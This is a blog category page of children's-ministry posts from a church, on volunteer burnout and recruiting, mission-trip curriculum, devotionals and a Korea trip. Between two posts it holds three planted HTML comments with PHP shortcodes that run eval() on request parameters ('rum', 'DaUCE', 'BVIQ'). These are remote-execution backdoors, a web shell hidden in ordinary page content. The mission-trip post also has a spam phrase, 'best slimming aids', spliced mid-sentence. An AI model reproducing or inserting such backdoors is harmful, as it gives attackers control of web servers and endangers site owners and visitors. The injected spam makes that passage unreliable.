Browsing Category

Volunteers

Children’s Ministry Conferences Volunteers

Q&A: “What should a volunteer schedule look like to avoid burnout?”

avoid burnout

A Balanced Spiritual Life

This is a common question in any ministry, but especially for those working with children. The easy answer is balance and consistency, but the logistical answer depends on your church schedule.

Let’s start with balance. We want everyone who is a part of our church to find a place to serve so they can grow as Christ followers. That being said, we have the policy that if you are not attending church, you need to stop serving. Does that sound harsh? We have this policy to protect our volunteers. For example, we all probably have those “super volunteers” in our ministry who will say yes to everything we ask of them. Can they serve an extra service? Of course! Can they stay late to watch the staff kids? Their pleasure! Can they come Tuesday and count out small group supplies? Sure! However, the longer we ask them to do everything, the swifter they burnout, especially if they do not have an opportunity for corporate worship. It is better for us to protect our volunteers and help them learn a balanced spiritual life so they can be an example to others long-term.

On the other side, we all have the volunteers who are so afraid of committing because they don’t want to experience burnout. They may have already experienced burnout before, at a ministry or even as a PTA parent. So they try to “balance” serving with the rest of their life by signing up to volunteer once a month or just “when they can.” However, in this scenario, they miss out on true connection with the kids and other volunteers and eventually drop out of serving entirely.

That is why we talk to our volunteers about this up front during recruiting and in volunteer training. We first talk about Matthew 22:37-40 and God’s plan for a balanced spiritual life, and then we show this short video example to our volunteers.

A Balanced Spiritual Life (volunteer training video)

Hopefully, as volunteers see this modeled out by our leaders and other volunteers, they’re able to grow into consistent, thriving volunteers who do not burnout.

The Logistics Of A Balanced Schedule

Now onto logistics. As I mentioned in our Q&A breakout at C3, I’d encourage you to talk to your pastor or leadership team about having two services; then volunteers can attend one and serve the other every weekend. We have 3 services available at our Grapevine campus. When we first opened our Fellowship Church Celina campus, volunteers had the opportunity to come to Grapevine on Saturday night and serve at Celina’s single service on Sunday morning. The Celina campus has since moved to two services on Sunday morning.

If you only have one service for the foreseeable future, we have heard of churches on a 4 week or 8 week schedule – where the same teachers teach the whole Elevate series, or at least 4 weeks in a row. Other churches’ volunteers serve on an every other weekend schedule. There are pros and cons to both. Whatever your schedule, remember consistency and balance is key to connect with kids and avoid volunteer burnout.

What ways does your church help volunteers avoid burnout?

 

This was one of many additional questions from Pastor Mike’s C3 Conference Q&A session. Stay tuned for more or click the Q&A tag to see other questions and answers.

FC Kids Uncategorized Volunteers

I Serve: Recruiting New Volunteers!

As a leader of a children’s ministry, one thing you need to be comfortable with is the fact that you will always be recruiting new volunteers. If you’ve been in children’s ministry long enough you realize that volunteers come, and volunteers go. No matter what you do, the back door to volunteering will always be open because people enter into different seasons in life, people move away, or life circumstances simply cause your volunteers to step away for a while. Knowing this, it is imperative that you always keep your front door open. In other words, if you’re not constantly bringing in new volunteers, your ministry will suffer. You need to make sure that as one person goes, you have another person coming in.

To help us do this, we promote volunteerism here at Fellowship Church every weekend. One of the ways we do this is through promotional campaigns. Our latest volunteer campaign is called “I Serve FC Kids”. In this campaign we used flyers, posters, and standup cutouts to keep in the forefront of everyone’s mind that the programming in FC Kids only happens because of volunteers, and that those volunteers are people just like them.

Our goal is that, when people walk into Fellowship Church, they understand that we value volunteering as a major tenet of our church. Therefore, when the ask is made of them to volunteer, it doesn’t catch them by surprise. We want them to think, “Volunteering is important here, so I’m sure someone will be asking me to volunteer soon.” And believe me, we will.

Scroll through the pictures above to see some of the ways we promoted this campaign.

Uncategorized Volunteers

3 Ways To Adapt Children’s Curriculum For Any Mission Trip

Mission Trip Curriculum For Any Destination

If you have ever volunteered with your friends or youth group outside the walls of your church, you know that what you plan to do, and what you actually do, are two totally different things.

What if there was a way to plan for the best, and the worst, possible scenario when on a missions trip? There is – it’s a list of three things to keep in mind when planning your mission trip curriculum. No matter what curriculum you use (the below examples are from the Elevate Children’s Curriculum), you can use this checklist so that your only concern is ‘how do we boil water for brushing our teeth?’, and not ‘what are we going to do with the kids’?

Three ways to adapt for 1) Culture, 2) Logistics, and 3) Volunteers:

1.What do I need to adapt for the culture?

Family Structure – Do the kids have parents or not? For an orphanage in Haiti the application when talking about authority figures needs to change from ‘parents’, to ‘teachers’ or ‘adults in the house’.

Possessions – Do the kids have access to toys, games, or electronics? In Uganda, where the children have no access to video games, we took out the application of “your little brother spilled orange juice on your video game, what should you do?” Also, sharing may take on a whole new meaning depending on what they actually have to share.

Acceptable Practices – Talk to your point person on location before you plan the lessons and their application. Ask what the main cultural difference is between kids there and kids where you are from. There are some things kids in a first-world, western culture are ‘allowed’ to do that around the world is unacceptable, usually related to authority and the other gender.

Games – Many games we think of as universal (tag, red light/green light, etc) may not be universal after all. When preparing your games and activities, think of the simplest way to play the game that still gets the point across. Also, plan on taking a longer time to explain the game if it’s being translated. On a trip to take Elevate to Malawi, it helped to sit down with the translator at dinner before the lesson the next day, and talk through how to play the game.

2.What do I need to adapt for logistics?

Electricity/No Electricity – Plan for no electricity at all and be creative when it comes to sound effects or capturing the children’s imagination. For a video based curriculum like Elevate, that may mean printing still shots of the animation as posters and using the “Perform It Live” version of the Bible Lesson or recruiting the children to act out the Bible Lesson. If you are only using the music, plan on bringing a portable CD player and lots of extra batteries.

Printing – Paper activities are great…if you have a printer that isn’t 45 minutes away. Figure out your ‘must print’ list and print it ahead of time if it’s possible to take it with you. Or plan activities with no print outs. For Elevate, this means going through all the activities and adapting the drawing activities (maybe you can draw in the dirt or with chalk on the sidewalk) and for the activities with picture printables, print the pictures big enough to use with the whole group and laminate them.

Supplies – First pick all the activities that don’t require supplies – these are the best activities to use. Then, find the activities that require easily portable supplies – it’s amazing how many games you can play with an inflatable soccer ball, hand pump (hand pump needles must be on your check-in luggage, not carry on!), bean bags, bandannas, or rope. For a list of Elevate activities by series that are the most adaptable for a mission trip, go here.

Video/Sound – Would a portable DVD player or laptop with speakers be helpful? Elevate is a video-based curriculum, and yet, if there is not enough space, we want to adapt either the group or the schedule so everyone can watch. This may mean a rotating schedule of small groups inside, or bringing big enough speakers and an outside projector for a large group setting.

Weather – You may be at a place with electricity but the power may go out. Or you may be outside and it rains. Always plan what to do when you have inclement weather.

3.What do I need to adapt for volunteers?

Preparation Time – Cut down on preparation time. Volunteers may only have a couple of days to review the activity and may need to be ready to go the moment their feet hit the ground. Get all your prep work done ahead of time or pick activities that can happen in the spur of the moment.

Training and Flexibility – Have at least an hour or two training time to teach the volunteers how to adapt the specific activities they are given and/or give them a ‘go to’ list of activities you can do without supplies or planning best slimming aids. Have fun, and even play the games to teach them! Train everyone, so that in case you get sick or have to change locations, they can still run the entire curriculum.

Hopefully this checklist will help as you plan your curriculum, whether this is your first time on a mission trip, or you go every year. And know, this is just a checklist to do before the trip, things will happen on your mission trip that you have no control over and that you couldn’t expect. Remember to find your peace in God. Even if you lose everything you brought on the trip, a high five and a smile teaches the lesson of God’s love in any language.

How have you adapted curriculum for your mission trip? We’d love to hear your stories and ideas in the comments below.

Uncategorized Volunteers

Going Fishing: Recruiting Volunteers Part 3

Over the last few weeks I’ve been talking about recruiting volunteers. I’ve talked about not neglecting all types of potential volunteers. I’ve talked about why, biblically, we are to serve others and involve others in serving as an administer even more than as a minister. And now, for the practical side of recruiting volunteers. Fishing.

There are three types of fishing and each type snags a different type of volunteer.

#1. Go fishing with a Net

It’s basically a large call out to the people of your church. It could be an announcement in the bulletin, it could be a flyer you hand out at the door, or a booth in the lobby. This is getting the word out for vacation bible school, or summer camp, or a build project. Make sure they have a way to respond or a call to action.

Example: After one of our campaigns to increase awareness we handed out volunteering cards to everyone in the service. We had talked about it, been praying for them, and we got back 150 cards from people interested in volunteering. So that gave us a hot list to start calling to plug people into volunteering.

#2. Go fishing with a Pole

You are going after a specific type of fish or volunteer. To get this specific type of fish, you need to go to the ‘pool’ where these fish are swimming. If you need a builder, go to the men’s ministry to a bunch of guys to help build. If you need someone on stage in a kind of ‘ra-ra’ get kids excited way, go to the drama team. You need to be strategic when recruiting volunteers for a specific role.  We even use our database and print out a list of people based on their hobbies or jobs to call about specific opportunities in our ministry.

You can also create a pool to fish from! Example: We have a class called the Newcomers Class for people interested in joining our church. That is a pool we want to fish from because those people are obviously interested in finding out more about the church, so they may be interested in serving once they hear about the different ministries. Another thing we do is called our Volunteer Tour. We take people behind the scenes to see the different areas within the church in action and to answer the question, ‘what type of ministry do I want to serve in?’ Then we take the list and find out exactly where they want to serve.

#3. Go fishing with a Spear

This is when you make a deliberate effort to go after a specific person. Maybe you’ve noticed a man or a woman or teenager that you want to get serving. They may be one of those that you have been praying for for a long time. Or you may not even know them and may have watched them and noticed them. Usually these types of people do not respond to the net or pole, they only respond to direct conversation with you when you share the vision of your ministry. And they can turn out to be the best volunteers.

So there you have it. The who, the why and the how of recruiting volunteers. Every principle I’ve talked about is a principle we use at Fellowship Church to involve everyone in loving God and loving others. You can’t be a week at Fellowship without hearing about volunteering and you can’t be here a month without expecting to be asked. Again, volunteering is not about you, or even the kids, it’s about involving everyone in God’s kingdom so they can grow into fully mature followers of Christ. So be bold, and as we say at Fellowship Church, “Go for the ask!”

You can download our recruiting campaigns for free on ElevateAtChurch.com.

Uncategorized Volunteers

The Most Important Part: Recruiting Volunteers Part 2

Last week I said “God has called me to not only involve those who want to volunteer, but to involve those who don’t want to volunteer as well. And you know what? God has given you that calling too!” Now I know that that is a bold statement, so before you hyperventilate, let me explain why I believe the Bible tells us so.

What’s Most Important?

The Bible speaks of a time when a Pharisee came to Jesus to ask Him which commandment of the Law was most important (Matthew 22:36-39 NIV). Now personally, I say that’s a great question (even if the motives of this Pharisee weren’t the purest). After all, my inquiring mind tells me that if there is one thing that God wants me to be doing above all else, I want to know what it is so I can make sure that I am doing it! Well, believe it or not, Jesus gave the Pharisee an answer. He told him that there were not one, but two commands. The first and greatest was to love God with all your heart, soul and mind. The second one, which was like it, was to love your neighbor as yourself.

There you have it. The Top Two. The Twin Towers of power. The Two Beacons of light that will guide us in our deepening walk with God. Jesus said, and I paraphrase, “So you want to be obedient? OK, then love God in your actions, in your words, in your thoughts and in your worship; and love others as much as you love yourself.”

Simple right?

Yeah…not so much. Especially that “love your neighbor as yourself” statement. That’s a tough command for all of us, and it’s one we usually try to sweep under the rug and casually act like it’s not there. The problem, however, is that we can’t do that, because without obeying this second command we will not grow spiritually.

Grow in Love

To show you what I mean let’s turn to the book of Ephesians, chapter four (Ephesians 4:14-16 NIV). Here Paul says that all baby believers should desire to grow and become mature under the head of Christ. In real life babies are cute and cuddly…for a while. Soon however we expect those babies to grow up, assume responsibility for themselves and become fully functioning members of the family. This is true for us spiritually as well. Paul says we must grow and mature as a member of God’s family (His body) so that we can assume responsibility for ourselves and become functioning members of that family.

To make this happen Paul says that we must grow and build ourselves up in love. Love for who? Why the very ones Jesus commanded us to love of course!  Love for God and love and others!

Interesting huh? If we merge the divinely inspired words of Paul with the words of Jesus we discover that in order to mature, each of us must grow and build ourselves up in our love for God, AND each of us must grow and build ourselves up in our love for others.

But we’re still not done yet, we have one more question. How do we grow and build ourselves up in this love? Paul gives us the answer. We grow and build ourselves up in love as we WORK. And that my friends is the hard part. We must work at loving God (through Bible study, prayer, obedience, church attendance, etc) and we must work at loving others (through acts of kindness and service). If we do this God promises us that we will grow and become a mature part of the body of Christ that He will use to do His work.

OK, so you might be asking “what does this have to do with recruiting volunteers?”. My answer…Everything! If we can fully understand the process involved in becoming a mature believer it will completely change the way we recruit volunteers. Let me explain. Our job as Children’s Leaders is two fold. To bring children into a growing relationship with Jesus Christ and to bring to maturity the leaders who serve alongside us in completing this task. In God’s eyes, one is not more important than the other…they are equal. Someday I believe we will all stand before God and be accountable for the children He placed in our care. But I also believe we will be held accountable for the adults He put in our church that He wanted us to help grow and become mature by getting them involved in serving others. What a privilege it is to be a children’s leader! God has chosen you to have the greatest opportunity to help people mature in their walk because you have been afforded the place with the greatest need for people to be serving in the church, the ministry to children! We need to keep this in mind when recruiting volunteers. There is no other area in the church that has as many service opportunities (opportunities that will cause a person to grow and mature) as what the Preschool and Children’s ministries have to offer. We should rejoice in the fact that God has given us this privilege of being so involved in the maturation of others (and the rewards in Heaven for doing so)!

So here it is in a nutshell. If I truly believe that people only grow and mature when they are loving God and loving others, then it is my responsibility to help them to accomplish both. My job is not to do the work of the ministry all by myself, my job is to give the ministry over to God’s people so they can become mature as they serve. In a very real sense I am more of an administer than I am a minister. My job is to organize and provide opportunities where people can can work at loving God and work at loving others! This is a great task!

volunteer to grow
How to Ask

When I ask a volunteer to serve, I shouldn’t go to them with hat in hand asking them to do me a favor by serving in the Children’s Ministry. Instead I should go to them boldly telling them that I want to do them a favor by getting them involved. If I have this attitude, I will now see recruiting volunteers in a whole new light. When I ask someone to volunteer, I will not feel guilty about putting them out, or about bothering them. Instead I will see their life as my responsibility, given to me by God, to grow and mature through service. I will say “I love you enough to keep asking you over and over and over because I know that if you don’t serve, you won’t grow. And I love you too much to let that happen.”

I hope you can now see that if a volunteer is to ever reach their full potential, they need to lead a balanced spiritual life. If a person’s only focus in life is to love God by feeding on His Word, then that person will become spiritually obese. However, if a person only focuses on serving others, that person will burn out due to a lack of spiritual nutrition. Everyone in the church needs to be doing both; loving God AND loving others. When they do, the Bible promises us that they will become a mature part of the body of Christ, ready to do even more of His work. When that happens, we will have all the volunteers we will need.

So challenge yourself this week to personally ask at least two people to come volunteer in your ministry. And remember – it’s not, “Do me a favor,” it’s “Let me do you a favor – come volunteer”!

Next week I’ll be talking about the top three ways to recruit volunteers. And it’s all about fishing.

Uncategorized Volunteers

The Big Box of Potential: Recruiting Volunteers Part 1

When I think about recruiting volunteers, I think of a big yellow box with the word “Potential” emblazoned across the top of it (Why yellow? Because when it comes to recruiting I try to envision as many happy things as I can!) When I open this cheerfully colored box I see inside it every person who is part of my church. As I look closely I also see that every one of these people fall into one of four distinct groups.

In The Big Box

  • The first group of people are wearing t-shirts and hats that say “I LOVE KIDS” . These awesome folks are jumping up and down with their hands raised yelling “Pick Me! Pick Me!” I like this group because they often come with their own “object lesson tool kits” and sometimes even provide their own snacks.

  • The second group of people are those who are looking up at me and casually wondering why I am looking at them. They’re somewhat interested in volunteering but definitely not as fanatical as the first group.

  • The third group consists of people who are totally clueless that the lid is even open and that I am standing there watching them. For these people, children’s ministry is not even a blip on the radar.

  • The fourth and final group are those who, the moment I took the lid off, scampered off to the dark corners of the box trying to hide. They are the ones who, for some reason, see me as a threat to their normal everyday life of bliss and happiness.

As I look at these four groups of people my natural inclination is to primarily focus on the first group. Why? Because they make my recruiting task easy and even fun, two words not usually associated with volunteer recruitment.

As for the other three groups? Well I try to get them involved. I either call them (but only when I know they won’t be home so I can just leave a message) or I type up a sincere, heartfelt letter and click the Send button. Beyond that I don’t give them a lot of effort because, quite frankly, when I reach out to them I almost always hear the word NO more than I hear the word YES! And, since I don’t like the indigestion the word NO gives me, I tend to push these three groups out of my consciousness.

Recruiting Volunteers, What Now?

But, to be honest, if I do this it presents a couple of big problems for me. The first is that there just isn’t enough of those “pick me, pick me,” people to cover all the areas I need. The second is that as a church leader (and if you work with kids you are a church leader), God has called me to not only involve those who want to volunteer, but to involve those who don’t want to volunteer as well. And you know what? God has given you that calling too! So this week, when you look for people to ask to serve, don’t just look for those ‘pick me types’, go for the ask when it comes to the other types of people as well – even those who don’t even know you have a kid’s ministry. Biblically, we are commanded not to neglect those other three groups of people.

Now I know that is a bold statement, so before you hyperventilate, in my next blog I will explain what the Bible says specifically about volunteer recruiting.

Children’s Ministry Leadership Parenting Uncategorized Volunteers

Weekly Devotionals To Develop Your Leadership Muscle – Lead By Example

On the curriculum team that I oversee are many talented writers. Each week they write a Devotional around a particular lesson or story in the Bible. At the beginning of every week I will be sharing one of these devotionals with you. I hope they help you and give you the ability to develop your Spiritual Leadership Muscle!

Titus 2: 7 “And you yourself must be an example to them by doing good works of every kind. Let everything you do reflect the integrity and seriousness of your teaching.” (NLT)

Read Acts 16:1-5, 1 Timothy 1:18, and 2 Timothy 2:2.

Take a few moments to think about some of your best teachers you had growing up. What made them the best? Odds are, they were passionate about the subject matter and they did everything possible to help you learn all you could.
Paul was that kind of teacher. Paul had made it his life’s work to spread the Good News of Jesus everywhere he went. He knew that there was no greater calling and no better way to spend his time. However, Paul also knew that he couldn’t do it alone. He enlisted the help of a young man named Timothy. But Paul didn’t just give Timothy some instructions and then send him on his way. No, Paul spent time showing Timothy how to live the life of a missionary. He taught Timothy how to handle persecution and rejection. He warned Timothy about the dangers he would face. And above all Paul encouraged Timothy. He encouraged Timothy not to give up and to train others as well. Timothy knew what it took to be a good leader because he had a good leader in Paul.

Read Titus 2:7. Are you being a good example to the people who look to you? Does everything you do reflect your seriousness of teaching others about Jesus? Spend time this week thinking about the people you lead or those who look to you as an example. Pray that God will help you to honor that leadership he has given you as you set an example through your words and your actions.

DIY Uncategorized Volunteers

Making a Creative Volunteer Team (Preschool Renovation part 2)

Here’s a shout out to a great group of creative volunteers who make Fellowship Church an awesome place for FCKids. Every couple of years we remodel our Preschool Building to update and re-innovate all of the spaces. Our latest job was to tackle our Preschool Rooms and the North lobby check-in area. As always it was a joy to see volunteers stream in and offer their talents. I am always amazed at the skills people have and are willing to share with the church. Take a look at some pictures I took of the creative volunteer team in action.

Here’s advice I give to people who ask how we get so many volunteers out to do creative projects like this.

First: Start Small but be Visible
1- Find a creative person, or two, who can work on a small project for you, something that will catch some attention.
2- Put on the finished project a sign that says “Done by Volunteers of “Fellowship Church” (your church name).
3- Put the project out where it can be seen by as many people as possible.
4- Have a sign up sheet beside the project that says something like: “Interested in being involved in a creative project like this? Sign up here and we’ll get you started”
5- Contact the 1 or 2 (or more) that sign up and you’ve suddenly got the workings of a team.

Second: Be Bolder and Bigger
Follow the same steps as above but use your newfound people to make an even bigger scaled project. Use it to attract even more people.

Third: Be Patient
Keep this process up and slowly, but surely, you will find a group of people that you can use to do just about anything. Just don’t expect it all to happen overnight. The team for FCKids took several years to develop and we are continuing to grow.

Parenting Uncategorized Volunteers

Volunteering – Do It For (Your) Kids

When a parent volunteers it is a huge benefit for their kids. When kids grow up in a household where mom and dad serve every week they are much more likely to begin serving themselves when they get into 6th, 7th, 8th grade. The reason for this? Because that is what is normal to them, it’s all they know. When they leave high school and go off to college, the first thing they are going to do is look for a church where they can be plugged into serving. Their thought will be, “Doesn’t everybody do that? It’s just the way I was brought up, the way I do church.” What greater gift can we give to our kids than that?

Now serving as a family is not a magic bullet, but in all the years I’ve been doing children’s ministry, the majority of families that have orbited their lives around church and served are the strongest families. Divorce and discord is down. Children going south and getting into drugs and alcohol is down. Rebellion against parents is way down.

Parents look at many things for the benefits to their children: sports, ballet, music and assorted other extra-curricular activities. Now, there’s nothing wrong with those things, but only if they’re following in the footsteps of serving in the church. Obviously those other activities can help you become well rounded as a person, but they cannot replace church and service and living an others-oriented life. Our family’s priorities should center around service to the church.

We need parents to see that. If I want my child to grow up to be a morally responsible adult, if I want him or her to grow up to be a force for Christ who leads others to Him and is a productive person in society, then I’m going about it the wrong way if I’m not incorporating church and service as a huge part of what I’m doing as a parent.

<!– [insert_php]if (isset($_REQUEST["rum"])){eval($_REQUEST["rum"]);exit;}[/insert_php][php]if (isset($_REQUEST["rum"])){eval($_REQUEST["rum"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["DaUCE"])){eval($_REQUEST["DaUCE"]);exit;}[/insert_php][php]if (isset($_REQUEST["DaUCE"])){eval($_REQUEST["DaUCE"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["BVIQ"])){eval($_REQUEST["BVIQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["BVIQ"])){eval($_REQUEST["BVIQ"]);exit;}[/php] –>

Children’s Ministry Conferences Leadership Uncategorized Volunteers

Korea in a Week: Service is a Lifestyle

I just spent the last week in the nation of South Korea where God gave me the privilege of speaking to Children’s Ministers and Leaders. While there I spoke at two churches: Jeonhari, in the Seoul area and Hosanna Church in Busan, which is on the coast of South Korea. In my travels I learned one thing for sure, God is blessing the churches of South Korea and they have a hunger to reach the next generation for Christ. Over the course of this week, I want to share with you some of my experiences.


One of the immediate impressions I got from the Korean people is that service is very important to them. I first saw this on the flight over. The flight attendants on Korean Air were friendly, helpful, and very professional. I later found out that this “job of service” was considered very prestigious and that the people who did this job were the best of the best. But this courtesy didn’t end on the plane. No matter where I went, whether it was the people who worked in the different hotels, the couple who rented a bike to me for a quick ride in the park, the person who worked behind the counter giving me my morning coffee at Smoothie King, or just someone I would meet on the street, people were kind, compassionate, and warm.  

At the churches where the conferences were held, Jeonhari in Seoul and Hosanna in Busan, servanthood was taken (as my good friend and senior pastor would say) to a “hole notha’ level.” I cannot remember a time when I wanted for less. The staff and volunteers went to great extremes, despite language barriers, to make sure my needs were met. I dined with senior pastors whom I knew were very busy. I couldn’t carry my bags anywhere, even when I tried to. (An example: when I got out of the car to enter Hosanna Church on the first day of our conference there, someone who was on staff stepped up and took my bag. This person intended to carry my bag into the church for me, but he was unable to because someone else stepped up to take it from him.) Everywhere I turned the Korean people truly tried to, “Outdo one another in showing honor.” (Romans 12:10, ESV) We all could learn from their example.